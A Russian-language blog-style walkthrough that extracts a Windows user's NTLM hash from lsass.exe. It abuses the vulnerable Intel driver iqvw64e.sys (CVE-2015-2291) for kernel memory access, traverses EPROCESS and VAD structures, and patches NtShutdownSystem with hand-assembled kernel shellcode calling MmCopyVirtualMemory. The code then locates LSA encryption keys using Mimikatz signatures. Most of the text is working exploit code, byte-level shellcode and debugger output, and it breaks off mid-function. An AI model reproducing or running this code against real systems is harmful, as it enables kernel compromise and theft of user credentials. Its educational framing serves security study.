Приветствую вас, дорогие читатели! Сегодня я хочу рассказать о том, как с помощью уязвимого драйвера получить NTLM hash пользователя. NTLM hash находится в памяти процесса lsass.exe операционной системы Windows. Процесс lsass.exe отвечает за авторизацию локального пользователя компьютера.

По этой теме я нашел несколько статей:

  1. A physical graffiti of LSASS: getting credentials from physical memory for fun and learning.

  2. [EX007] How playing CS: GO helped you bypass security products.

Разобрав эти статьи, у меня появилось желание объединить их для лучшего понимания метода извлечения NTLM hash’а из памяти процесса lsass.exe.

Важные замечания:

  • Все действия будут проводится на Windows 10 версии 1909 сборка 18363.1556.

  • Название разработанного приложения для этой статьи будет shor.exe

Введение.

В операционной системе Windows у процесса есть два режима работы — «user-mode» и «kernel-mode». Во время работы процесса режимы переключаются между собой средствами операционной системы Windows.

Рассмотрим различия между «user-mode» и «kernel-mode»:

  • Код, выполняемый в user-mode, использует изолированное виртуальное адресное пространство. Из-за этого один процесс не может изменять данные, принадлежащие другому процессу. Помимо того, что виртуальное адресное пространство процесса в user-mode является изолированным, оно ограничено. Ограничение виртуального адресного пространства процесса в user-mode предотвращает изменение и возможные повреждения критически важных данных в операционной системе.

  • Код, выполняемый в kernel-mode, использует одно виртуальное адресное пространство. Это значит, что драйвер kernel-mode не изолирован от других драйверов и самой операционной системы.

Из-за того, что существуют механизмы, ограничивающие доступ к lsass.exe в user-mode, мне предстоит взаимодействовать с lsass.exe с помощью уязвимого драйвера, который может доставать полезную информацию или перезаписывать память в kernel-mode.

Для того, чтобы полноценно изучить извлечение NTLM hash пользователя из процесса lsass.exe с помощью уязвимого драйвера, я составил небольшой план действий:

  1. Найти уязвимый драйвер для чтения и записи информации в kernel-mode.

  2. Получить из kernel-mode структуру EPROCESS для двух процессов lsass.exe и shor.exe. которые потом будут переданы в MmCopyVirtualMemory, чтобы извлечь  памяти из user-mode.

  3. С помощью обнаруженных VAD (Virtual Address Descriptor) указателей в kernel-mode, найти виртуальные адреса в user-mode, для последующего использования в функции MmCopyVirtualMemory.

  4. Разработать shellcode для kernel-mode, который будет использовать функцию MmCopyVirtualMemory.

  5. Извлечь NTLM hash из процесса lsass.exe.

1. Поиск драйвера.

Поиск драйвера, обладающего уязвимостью чтения и записи информации в kernel-mode, привёл меня к проекту KDU. Этот проект позволяет загружать не подписанные драйвера с помощью подписанных, но уязвимых драйверов. Одним из таких драйверов: iqvw64e.sys.

В README.md проекта KDU есть номер CVE 2015-2291 и описание уязвимости для этого драйвера. В описании сказано, что уязвимость позволяет всем пользователям вызвать отказ в обслуживании или выполнить произвольный код с привилегиями ядра с помощью вызова IOCTL 0x80862013, 0x8086200B, 0x8086200F или 0x80862007.

После выбора драйвера я нашел проект на github описывающий данную уязвимость Intel-CVE-2015-2291. Из этого проекта взял код взаимодействия из user-mode с драйвером kernel-mode:

Разбор взаимодействия с драйвером

Передаваемый IOCTL 0x80862007 в DeviceIoControl.

Передаваемый буфер в DeviceIoControl.

QWORD switch_num (a1) — номер в switch.

QWORD (a1+8) — не используется.

QWORD sourse (a1+16) — указатель на блок памяти источник.

QWORD dest (a1+24) — указатель на блок памяти назначения.

QWORD count (a1+32) — количество
копируемых байтов.

Функция memmove будет использована драйвером для чтения и записи информации в kernel-mode.

2. Поиск EPROCESS для lsass.exe и shor.exe.

Каждый процесс в памяти ядра представлен структурой EPROCESS. Эта структура меняется от версии к версии Windows NT, поэтому я не буду приводить её целиком, а рассмотрю только нужные мне части.

ActiveProcessLinks (LIST_ENTRY) – это элемент двухсвязного списка, содержащий указатели FLink (на следующий процесс в операционной системе Windows) и BLink (на предыдущий процесс в операционной системе Windows):

ImageFileName – имя процесса.

VadRoot – AVL дерево в котором находятся указатели VAD (Virtual Address Descriptor).

VadCount – указывает на количество узлов в AVL дереве.

После разбора структуры, я приступил к поиску двух EPROCESS для lsass.exe и shor.exe. Сперва я нашел EPROCESS процесса System.exe. В этом мне помогла функция PsInitialSystemProcess, которая указывает на структуру EPROCESS процесса System.exe. Затем используя ActiveProcessLinks из структуры EPROCESS процесса System.exe, я прошел по двухсвязному списку активных процессов и нашел EPROCESS для lsass.exe и shor.exe, которые потом будут переданы в MmCopyVirtualMemory, с целью дампа памяти из user-mode. Более того, используя EPROCESS процесса lsass.exe я нашел VadRoot и VadCount, которые будут использоваться в будущем.

Код поиска EPROCESS, VadRoot и VadCount:

int main(int argc, char** argv)
{

	HANDLE   hDevice;

	printf("--[ Intel Network Adapter Diagnostic Driver exploit ]--\n");

	printf("Opening handle to driver..\n");
	if ((hDevice = CreateFileA(intel::szDevice, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL)) != INVALID_HANDLE_VALUE) {
		printf("Device %s succesfully opened!\n", intel::szDevice);
		printf("\tHandle: %p\n", hDevice);
	}
	else
	{
		printf("Error: Error opening device %s\n", intel::szDevice);
		return 0;
	}

	ULONG64 ReadSystemEPROCESS = PsInitialSystemProcess();
	ULONG64 SystemEPROCESS = 0;
	intel::MemCopy(hDevice, (uint64_t)&SystemEPROCESS, (uint64_t)ReadSystemEPROCESS, 8);


	printf("[+]PsInitialSystemProcess pointer: 0x%llx\n", ReadSystemEPROCESS);
	printf("[+]PsInitialSystemProcess: 0x%llx\n", SystemEPROCESS);

	ULONG64 ActiveProcessLinksOffset = 0x2f0;
	ULONG64 ImageFileNameOffset = 0x450;
	ULONG64 ActiveProcessLinks = SystemEPROCESS+ ActiveProcessLinksOffset;
	ULONG64 VadRootOffset = 0x658;
	ULONG64 VadCountOffset = 0x668;

	ULONG64 VadRoot_lsass = 0;
	ULONG64 VadCount_lsass = 0;
	ULONG64 EPROCESS_lsass = 0;
	ULONG64 EPROCESS_CurrentProcess = 0;
	while (true){
		ULONG64 ActiveProcessLinksNext = 0;
		intel::MemCopy(hDevice, (uint64_t)&ActiveProcessLinksNext, (uint64_t)ActiveProcessLinks, 8);

		UCHAR ImageFileName[MAX_PATH] = "";
		intel::MemCopy(hDevice, (uint64_t)&ImageFileName, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + ImageFileNameOffset), MAX_PATH);

		if (!strcmp((const char*)ImageFileName, "lsass.exe")) {
			printf("[+]Name process: %.*s\n", (int)sizeof(ImageFileName), ImageFileName);
			EPROCESS_lsass = ActiveProcessLinksNext - ActiveProcessLinksOffset;
			printf("[+]EPROCESS lsass: 0x%llx\n", EPROCESS_lsass);

			intel::MemCopy(hDevice, (uint64_t)&VadRoot_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadRootOffset), 8);
			intel::MemCopy(hDevice, (uint64_t)&VadCount_lsass, (uint64_t)(ActiveProcessLinksNext - ActiveProcessLinksOffset + VadCountOffset), 8);
			printf("[+]VadRoot: 0x%llx\n", VadRoot_lsass);
			printf("[+]VadCount: 0x%llx\n", VadCount_lsass);

		}

		if (!strcmp((const char*)ImageFileName, "shor.exe")) {
			printf("[+]Name process: %.*s\n", (int)sizeof(ImageFileName), ImageFileName);
			EPROCESS_CurrentProcess = ActiveProcessLinksNext - ActiveProcessLinksOffset;
			printf("[+]EPROCESS CurrentProcess: 0x%llx\n", EPROCESS_CurrentProcess);
		}

		if ((EPROCESS_lsass !=0) && (EPROCESS_CurrentProcess != 0)) {
			walkAVL(hDevice, VadRoot_lsass, VadCount_lsass, EPROCESS_lsass, EPROCESS_CurrentProcess);
			break;
		}
		ActiveProcessLinks = ActiveProcessLinksNext;
	}
	
	getchar();
	return 0;
}

Результат:

3. Поиск VAD.

Найдя EPROCESS для lsass.exe мне нужно обойти AVL дерево и извлечь все VAD указатели, в которых находятся адреса на начало и конец области виртуальной памяти в user-mode, а также путь к файлу. Данная информация понадобится мне для извлечения данных из user-mode процесса lsass.exe, с помощью функции MmCopyVirtualMemory.

Пример отображения VAD указателей и их содержимого:

Поиск VAD указателей для процесса lsass.exe начинается с нахождения вершины AVL дерева, за это отвечает указатель VadRoot:

Получив VadRoot, мне нужно пройти по всему AVL дереву и извлечь из него все VAD указатели. Они находятся в Left (смещение 0x00-0x07) и Right (смещение 0x08-0x10):

После того как VAD указатели были найдены, я прошел по ним и извлек адреса на начало (соединяя 4 байта из 0x18 и 1 байт из 0x20) и конец (объединяя 4 байта из 0x1c и 1 байт из 0x21) области виртуальной памяти в user-mode:

Код обхода AVL дерева:

void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) {
	ULONG64* queue;
	ULONG64 count = 0;
	ULONG64 cursor = 0;
	ULONG64 last = 1;
	VAD* vadList = NULL;
	queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4); // Make room for our queue
	queue[0] = VadRoot; // Node 0
	vadList = (VAD*)malloc(VadCount * sizeof(*vadList));

	ULONG64 size = 0;
	ULONG64 mask = 0;
	intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8);
	mask = mask & 0xffff000000000000;
	while (count < VadCount)
	{
		ULONG64 currentNode;
		currentNode = queue[cursor]; 
		if (currentNode == 0) {
			cursor++;
			continue;
		}

		ULONG64 VadRootLeft = 0;
		intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8);
		ULONG64 VadRootRight = 0;
		intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8);
		//printf("[+]VadRootLeft: 0x%llx\n", VadRootLeft);
		//printf("[+]VadRootRight: 0x%llx\n", VadRootRight);
		queue[last++] = VadRootLeft;
		queue[last++] = VadRootRight;
		ULONG64 Start = 0;
		ULONG64 StartingVpn = 0;
		ULONG64 StartingVpnHigh = 0;
		intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4);
		intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1);
		Start = (StartingVpn << 12) | (StartingVpnHigh << 44);

		ULONG64 End = 0;
		ULONG64 EndingVpn = 0;
		ULONG64 EndingVpnHigh = 0;
		intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4);
		intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1);
		End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44);
		printf("[+] Vad 0x%llx  |  Start-End: 0x%llx-0x%llx Size byte: %lld\n", currentNode, Start, End, (End - Start));

		count++;
		cursor++;
	}
	free(vadList);
	free(queue);
	return;
}

Результат:

Кроме того, VAD содержит и другие данные, например, если область зарезервирована для образа файла, то можно получить путь к этому файлу. Это важно, потому что я хочу найти загруженный lsasrv.dll внутри процесса lsass.exe, а также отсюда будут получены учетные данные по аналогии с Mimikatz sekurlsa::msv.

Поиск пути к файлу lsasrv.dll будет заключатся в том, чтобы пройти по некоторым структурам в kernel-mode:

ffff810344b90110  5       7ffa044f0       7ffa04690              13 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\lsasrv.dll

0: kd> dt nt!_mmvad ffff810344b90110
   +0x000 Core             : _MMVAD_SHORT
   +0x040 u2               : <anonymous-tag>
   +0x048 Subsection       : 0xffff8103`42db2d30 _SUBSECTION <===========================
   +0x050 FirstPrototypePte : 0xffffa483`fe977010 _MMPTE
   +0x058 LastContiguousPte : 0xffffa483`fe977d10 _MMPTE
   +0x060 ViewLinks        : _LIST_ENTRY [ 0xffff8103`42db2cb8 - 0xffff8103`42db2cb8 ]
   +0x070 VadsProcess      : 0xffff8103`44b71081 _EPROCESS
   +0x078 u4               : <anonymous-tag>
   +0x080 FileObject       : (null)

0: kd> dt nt!_SUBSECTION  0xffff8103`42db2d30
   +0x000 ControlArea      : 0xffff8103`42db2cb0 _CONTROL_AREA <===========================
   +0x008 SubsectionBase   : 0xffffa483`fe977010 _MMPTE
   +0x010 NextSubsection   : 0xffff8103`42db2d68 _SUBSECTION
   +0x018 GlobalPerSessionHead : _RTL_AVL_TREE
   +0x018 CreationWaitList : (null) 
   +0x018 SessionDriverProtos : (null) 
   +0x020 u                : <anonymous-tag>
   +0x024 StartingSector   : 0
   +0x028 NumberOfFullSectors : 2
   +0x02c PtesInSubsection : 1
   +0x030 u1               : <anonymous-tag>
   +0x034 UnusedPtes       : 0y000000000000000000000000000000 (0)
   +0x034 ExtentQueryNeeded : 0y0
   +0x034 DirtyPages       : 0y0

0: kd> dt nt!_CONTROL_AREA  0xffff8103`42db2cb0
   +0x000 Segment          : 0xffffa484`02468160 _SEGMENT
   +0x008 ListHead         : _LIST_ENTRY [ 0xffff8103`44b90170 - 0xffff8103`44b90170 ]
   +0x008 AweContext       : 0xffff8103`44b90170 Void
   +0x018 NumberOfSectionReferences : 0
   +0x020 NumberOfPfnReferences : 0x19a
   +0x028 NumberOfMappedViews : 1
   +0x030 NumberOfUserReferences : 1
   +0x038 u                : <anonymous-tag>
   +0x03c u1               : <anonymous-tag>
   +0x040 FilePointer      : _EX_FAST_REF <===========================
   +0x048 ControlAreaLock  : 0n0
   +0x04c ModifiedWriteCount : 0
   +0x050 WaitList         : (null) 
   +0x058 u2               : <anonymous-tag>
   +0x068 FileObjectLock   : _EX_PUSH_LOCK
   +0x070 LockedPages      : 1
   +0x078 u3               : <anonymous-tag>

0: kd> dt nt!_EX_FAST_REF  0xffff8103`42db2cb0 + 0x40
   +0x000 Object           : 0xffff8103`44b7566d Void <=========================== & 0xfffffffffffffff0
   +0x000 RefCnt           : 0y1101
   +0x000 Value            : 0xffff8103`44b7566d

Чтобы получить правильный указатель на _FILE_OBJECT мне нужно изменить последнею цифру в 0xffff8103`44b7566d на 0, таким образом получив 0xffff8103`44b75660

0: kd> dt nt!_FILE_OBJECT  0xffff8103`44b75660
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffff8103`426d9c00 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffff8103`4265c0e0 _VPB
   +0x018 FsContext        : 0xffffa484`02484170 Void
   +0x020 FsContext2       : 0xffffa484`024843d0 Void
   +0x028 SectionObjectPointer : 0xffff8103`42faaf28 _SECTION_OBJECT_POINTERS
   +0x030 PrivateCacheMap  : (null) 
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null) 
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0x1 ''
   +0x04b WriteAccess      : 0 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0x1 ''
   +0x04e SharedWrite      : 0 ''
   +0x04f SharedDelete     : 0x1 ''
   +0x050 Flags            : 0x44042
   +0x058 FileName         : _UNICODE_STRING "\Windows\System32\lsasrv.dll" <===========================
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 0
   +0x078 LastLock         : (null) 
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null) 
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffff8103`44b75720 - 0xffff8103`44b75720 ]
   +0x0d0 FileObjectExtension : (null)

Код поиска lsasrv.dll:

void walkAVL(HANDLE hDevice, ULONG64 VadRoot, ULONG64 VadCount, ULONG64 EPROCESS_lssas, ULONG64 EPROCESS_GetProcess) {
	ULONG64* queue;
	ULONG64 count = 0;
	ULONG64 cursor = 0;
	ULONG64 last = 1;
	VAD* vadList = NULL;
	queue = (ULONGLONG*)malloc(sizeof(ULONGLONG) * VadCount * 4);
	queue[0] = VadRoot; 
	vadList = (VAD*)malloc(VadCount * sizeof(*vadList));

	ULONG64 size = 0;
	ULONG64 mask = 0;
	intel::MemCopy(hDevice, (uint64_t)&mask, (uint64_t)VadRoot, 8);
	mask = mask & 0xffff000000000000;
	while (count < VadCount)
	{
		ULONG64 currentNode;
		currentNode = queue[cursor]; 
		if (currentNode == 0) {
			cursor++;
			continue;
		}

		
		ULONG64 VadRootLeft = 0;
		intel::MemCopy(hDevice, (uint64_t)&VadRootLeft, (uint64_t)currentNode, 8);
		ULONG64 VadRootRight = 0;
		intel::MemCopy(hDevice, (uint64_t)&VadRootRight, (uint64_t)(currentNode + 0x8), 8);
		//printf("[+]VadRootLeft: 0x%llx\n", VadRootLeft);
		//printf("[+]VadRootRight: 0x%llx\n", VadRootRight);
		queue[last++] = VadRootLeft;
		queue[last++] = VadRootRight;
		ULONG64 Start = 0;
		ULONG64 StartingVpn = 0;
		ULONG64 StartingVpnHigh = 0;
		intel::MemCopy(hDevice, (uint64_t)&StartingVpn, (uint64_t)(currentNode + 0x18), 4);
		intel::MemCopy(hDevice, (uint64_t)&StartingVpnHigh, (uint64_t)(currentNode + 0x20), 1);
		Start = (StartingVpn << 12) | (StartingVpnHigh << 44);

		ULONG64 End = 0;
		ULONG64 EndingVpn = 0;
		ULONG64 EndingVpnHigh = 0;
		intel::MemCopy(hDevice, (uint64_t)&EndingVpn, (uint64_t)(currentNode + 0x1c), 4);
		intel::MemCopy(hDevice, (uint64_t)&EndingVpnHigh, (uint64_t)(currentNode + 0x21), 1);
		End = ((EndingVpn + 1) << 12) | (EndingVpnHigh << 44);

		ULONG64 subsection = 0;
		intel::MemCopy(hDevice, (uint64_t)&subsection, (uint64_t)(currentNode + 0x48), 8);
		if (subsection != 0 && subsection != 0xffffffffffffffff&& (subsection & mask) == mask) {


			ULONG64 control_area = 0;
			intel::MemCopy(hDevice, (uint64_t)&control_area, (uint64_t)(subsection), 8);
			if (control_area != 0 && control_area != 0xffffffffffffffff&& (control_area & mask) == mask) {
																		   
				ULONG64 fileobject = 0;
				intel::MemCopy(hDevice, (uint64_t)&fileobject, (uint64_t)(control_area + 0x40), 8);
				if (fileobject != 0 && fileobject != 0xffffffffffffffff && (fileobject & mask) == mask) {

					fileobject = fileobject & 0xfffffffffffffff0;

					USHORT Path_size = 0;
					intel::MemCopy(hDevice, (uint64_t)&Path_size, (uint64_t)(fileobject + 0x58 + 0x2), 8);

					ULONG64 Path = 0;
					intel::MemCopy(hDevice, (uint64_t)&Path, (uint64_t)(fileobject + 0x58 + 0x8), Path_size);
					
					char FileName[MAX_PATH];
					memset(FileName,0, MAX_PATH);
					intel::MemCopy(hDevice, (uint64_t)&FileName, (uint64_t)(Path), Path_size);
					char lsasrv[28]; // = "Windows\System32\lsasrv.dll";
					memset(lsasrv, 0, 28);
					int lsasrv_size = 0;
					for (int i = 1; i < (Path_size -1); i++) {
						if (FileName[i] != 0x00) {
							lsasrv[lsasrv_size] = FileName[i];
							lsasrv_size++;
						}
						if (lsasrv_size == 27){					
							break;
						}
					}
					if (!strcmp((const char*)lsasrv, "Windows\\System32\\lsasrv.dll")) {
						std::cout << "[+]Found: lsasrv.dll " << (const char*)lsasrv << "\n";
						printf("[+]Start-End: 0x%llx-0x%llx Size byte: %lld\n", Start, End, (End - Start));
						printf("[+]Vad: 0x%llx\n", currentNode);
						break;
					}
					
				}
			}
		}
		
		count++;
		cursor++;
	}
	free(vadList);
	free(queue);
	return;
}

Результат:

4. Shellcode в kernel-mode.

В процессе извлечения виртуальной памяти из user-mode с помощью драйвера я наткнулся на проблему, что он не имеет требуемого функционала.

Для выхода из данной ситуации я воспользовался идеей из второй статьи. В ней говорится, что можно перезаписать API функцию NtShutdownSystem расположенную в Ntoskrnl.exe (ядро операционной системы Windows NT) на собственный shellcode и вызвать эту (перезаписанную) функцию из ntdll.dll (динамически подключаемая библиотека, служащая прослойкой между API и NT API), чтобы shellcode выполнился с привилегиями kernel-mode.

Суть shellcode’а будет заключатся в том, чтобы вызвать недокументированную функцию MmCopyVirtualMemory, которая как раз позволит извлечь виртуальную память из lsass.exe расположенной в user-mode.

Разработанный shellcode будет работать следующим образом:

Сперва я выделяю участок памяти для вызова недокументированной функции MmCopyVirtualMemory.
Код выделения памяти:

DWORD64 GetAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll) {

	DWORD64 AddressAllocate = 0;

	char rawAllocate[44]; // выделяю память под shellcode
	// char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 };
	char prologue[4] = {0x55,0x48,0x89,0xe5 };  //prologue
	memmove(rawAllocate, prologue, 4);

	char NumberoFBytes_mov_rdx[2] = { 0x48,0xBA }; // rdx NumberoFBytes
	memmove(rawAllocate + 4, NumberoFBytes_mov_rdx, 2);

	DWORD64 NumberoFBytes_mov_data = 0x200;
	memmove(rawAllocate + 6, (char*)&NumberoFBytes_mov_data, 8);

	char PoolType_mov_rcx[3] = { 0x48,0x33,0xc9 }; // rcx PoolType
	memmove(rawAllocate + 14, PoolType_mov_rcx, 3);

	char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address
	memmove(rawAllocate + 17, calladdress_mov_rax, 2);

	DWORD64 calladdress_mov_data = ExAllocatePool;
	memmove(rawAllocate + 19, (char*)&calladdress_mov_data, 8);

	char call_rax[2] = { 0xff,0xd0 };
	memmove(rawAllocate + 27, call_rax, 2);

	char get_rax_mov[2] = { 0x48,0xa3 };  // get rax
	memmove(rawAllocate + 29, get_rax_mov, 2);

	DWORD64 get_rax_data = (DWORD64)&AddressAllocate;
	memmove(rawAllocate + 31, (char*)&get_rax_data, 8);

	char epilogue[4] = { 0x48,0x89,0xec,0x5d };  //epilogue
	memmove(rawAllocate + 39, epilogue, 4);

	char ret[1] = { 0xC3 }; //ret 
	memmove(rawAllocate + 43, ret, 1);

	intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawAllocate, 44); //34

	NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll;
	fNtShutdownSystem(ShutdownPowerOff);
	return AddressAllocate;
}

Результат:

Дальше, я изменю NtShutdownSystem так, чтобы совершить переход на выделенный участок памяти.
Код совершения перехода:

void CallAllocateAddress(HANDLE hDevice, ULONG64 ExAllocatePool, ULONG64 NtShutdownSystem, ULONG64 addr_NtShutdownSystem_ntdll, DWORD64 AddressAllocate) {

	char rawCallAllocate[24];
	char prologue[7] = { 0xCC, 0xCC, 0xCC,0x55,0x48,0x89,0xe5 };
	//char prologue[4] = {0x55,0x48,0x89,0xe5 };  //prologue
	memmove(rawCallAllocate, prologue, 7);

	char Allocate_mov_rax[2] = { 0x48,0xa1 }; // 
	memmove(rawCallAllocate + 7, Allocate_mov_rax, 2);

	DWORD64 Allocate_mov_data = (DWORD64)&AddressAllocate;
	memmove(rawCallAllocate + 9, (char*)&Allocate_mov_data, 8);

	char calladdress_rax[2] = { 0xff,0xd0 }; // call address
	memmove(rawCallAllocate + 17, calladdress_rax, 2);

	char epilogue[4] = { 0x48,0x89,0xec,0x5d };  //epilogue
	memmove(rawCallAllocate + 19, epilogue, 4);

	char ret[1] = { 0xC3 }; //ret 
	memmove(rawCallAllocate + 23, ret, 1);

	intel::MemCopy(hDevice, (uint64_t)NtShutdownSystem, (uint64_t)rawCallAllocate, 24); //34
}

Результат:

А в выделенный участок памяти помещаю shellcode, для вызова недокументированной функции MmCopyVirtualMemory.
Код вызова функции MmCopyVirtualMemory:

char rawData[96];

	char prologue[4] = { 0x55,0x48,0x89,0xe5 };  //prologue
	memmove(rawData, prologue, 4);

	char result_mov_rax[2] = { 0x48,0xb8 };  //push result
	memmove(rawData + 4, result_mov_rax, 2);

	DWORD64  result_mov_data = (DWORD64)&Result;
	memmove(rawData + 6, (char*)&result_mov_data, 8);

	char push_rsp_30[5] = { 0x48,0x89,0x44,0x24,0x30 };
	memmove(rawData + 14, push_rsp_30, 5);

	char push_rsp_28[5] = { 0xC6,0x44,0x24,0x28,0x00 };  // // push kernel mode
	memmove(rawData + 19, push_rsp_28, 5);

	char size_mov_rax[2] = { 0x48,0xb8 }; // push size to 
	memmove(rawData + 24, size_mov_rax, 2);

	DWORD64 size_mov_data = Size;
	memmove(rawData + 26, (char*)&size_mov_data, 8);

	char push_rsp_20[5] = { 0x48,0x89,0x44,0x24,0x20 };
	memmove(rawData + 34, push_rsp_20, 5);

	char targetaddress_mov_r9[2] = { 0x49,0xb9 }; // r9 targetaddress
	memmove(rawData + 39, targetaddress_mov_r9, 2);

	DWORD64 targetaddress_mov_data = (DWORD64)&targetaddress;
	memmove(rawData + 41, (char*)targetaddress_mov_data, 8);

	char targetProcess_mov_r8[2] = { 0x49,0xb8 }; // r8 targetProcess
	memmove(rawData + 49, targetProcess_mov_r8, 2);

	DWORD64 targetProcess_mov_data = targetProcess;
	memmove(rawData + 51, (char*)&targetProcess_mov_data, 8);

	char sourseaddress_mov_rdx[2] = { 0x48,0xBA }; // rdx sourseaddress
	memmove(rawData + 59, sourseaddress_mov_rdx, 2);

	DWORD64 sourseaddress_mov_data = sourseaddress;
	memmove(rawData + 61, (char*)&sourseaddress_mov_data, 8);

	char sourseProcess_mov_rcx[2] = { 0x48,0xb9 }; // rcx sourseProcess
	memmove(rawData + 69, sourseProcess_mov_rcx, 2);

	DWORD64 sourseProcess_mov_data = sourseProcess;
	memmove(rawData + 71, (char*)&sourseProcess_mov_data, 8);

	char calladdress_mov_rax[2] = { 0x48,0xb8 }; // call address
	memmove(rawData + 79, calladdress_mov_rax, 2);

	DWORD64 calladdress_mov_data = MmCopyVirtualMemory;
	memmove(rawData + 81, (char*)&calladdress_mov_data, 8);

	char call_rax[2] = { 0xff,0xd0 };
	memmove(rawData + 89, call_rax, 2);

	char epilogue[4] = { 0x48,0x89,0xec,0x5d };  //epilogue
	memmove(rawData + 91, epilogue, 4);

	char ret[1] = { 0xC3 }; //ret 
	memmove(rawData + 95, ret, 1);

	intel::MemCopy(hDevice, (uint64_t)AddressAllocate, (uint64_t)rawData, 96); //96

	NTSHUTDOWNSYSTEM fNtShutdownSystem = (NTSHUTDOWNSYSTEM)addr_NtShutdownSystem_ntdll;
	DWORD64 Allocate = fNtShutdownSystem(ShutdownPowerOff);

Результат:

5. Извлечение NTLM hash из lsass.exe.

Реализация метода извлечения NTLM hash из lsass.exe взята из первой статьи. В ней сказано, что данный метод реализуется по аналогии с Mimikatz (sekurlsa::msv), который был взят из  статьи “Uncovering Mimikatz ‘msv’ and collecting credentials through PyKD” от Matteo Malvica.

Код поиска NTLM hash:

void lootLsaSrv(HANDLE hDevice, ULONG64 EPROCESS_lssas, ULONG64 Start, ULONG64 End, ULONG64 Size, ULONG64 EPROCESS_GetProcess) { //(char* start, ULONGLONG original, ULONGLONG size) {
	LARGE_INTEGER reader;
	DWORD bytes_read = 0;
	LPSTR lsasrv = NULL;
	ULONGLONG cursor = 0;
	ULONGLONG lsasrv_size = 0;
	ULONGLONG original = 0;
	BOOL result;


	ULONGLONG LogonSessionListCount = 0;
	ULONGLONG LogonSessionList = 0;
	ULONGLONG LogonSessionList_offset = 0;
	ULONGLONG LogonSessionListCount_offset = 0;
	ULONGLONG iv_offset = 0;
	ULONGLONG hDes_offset = 0;
	ULONGLONG DES_pointer = 0;

	unsigned char* iv_vector = NULL;
	unsigned char* DES_key = NULL;
	KIWI_BCRYPT_HANDLE_KEY h3DesKey;
	KIWI_BCRYPT_KEY81 extracted3DesKey;

	LSAINITIALIZE_NEEDLE LsaInitialize_needle = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 };
	LOGONSESSIONLIST_NEEDLE LogonSessionList_needle = { 0x33, 0xff, 0x41, 0x89, 0x37, 0x4c, 0x8b, 0xf3, 0x45, 0x85, 0xc0, 0x74 };

	PBYTE LsaInitialize_needle_buffer = NULL;
	PBYTE needle_buffer = NULL;

	int offset_LsaInitialize_needle = 0;
	int offset_LogonSessionList_needle = 0;

	ULONGLONG currentElem = 0;

	original = (DWORD64)Start;

	/* Save the whole region in a buffer */
	lsasrv = (LPSTR)malloc(Size);
	lsasrv = (LPSTR)dumpUsermode(hDevice, EPROCESS_lssas, Start, (End - Start), EPROCESS_GetProcess);
	lsasrv_size = Size;

	// Use mimikatz signatures to find the IV/keys
	printf("\t\t===================[Crypto info]===================\n");
	LsaInitialize_needle_buffer = (PBYTE)malloc(sizeof(LSAINITIALIZE_NEEDLE));
	memcpy(LsaInitialize_needle_buffer, &LsaInitialize_needle, sizeof(LSAINITIALIZE_NEEDLE));
	offset_LsaInitialize_needle = memmem((PBYTE)lsasrv, lsasrv_size, LsaInitialize_needle_buffer, sizeof(LSAINITIALIZE_NEEDLE));
	printf("[*] Offset for InitializationVector/h3DesKey/hAesKey is %d\n", offset_LsaInitialize_needle);

	memcpy(&iv_offset, lsasrv + offset_LsaInitialize_needle + 0x43, 4);  //IV offset
	printf("[*] IV Vector relative offset: 0x%08llx\n", iv_offset);
	iv_vector = (unsigned char*)malloc(16);
	memcpy(iv_vector, lsasrv + offset_LsaInitialize_needle + 0x43 + 4 + iv_offset, 16);
	printf("\t\t[/!\\] IV Vector: ");
	for (int i = 0; i < 16; i++) {
		printf("%02x", iv_vector[i]);
	}
	printf(" [/!\\]\n");
	free(iv_vector);

	memcpy(&hDes_offset, lsasrv + offset_LsaInitialize_needle - 0x59, 4); //DES KEY offset
	printf("[*] 3DES Handle Key relative offset: 0x%08llx\n", hDes_offset);
	printf("[*]0x%08llx\n", (original + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset));
	memcpy(&DES_pointer, lsasrv + offset_LsaInitialize_needle - 0x59 + 4 + hDes_offset, 8);
	printf("[*] 3DES Handle Key pointer: 0x%08llx\n", DES_pointer);

	LPSTR h3DesKey_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_HANDLE_KEY));
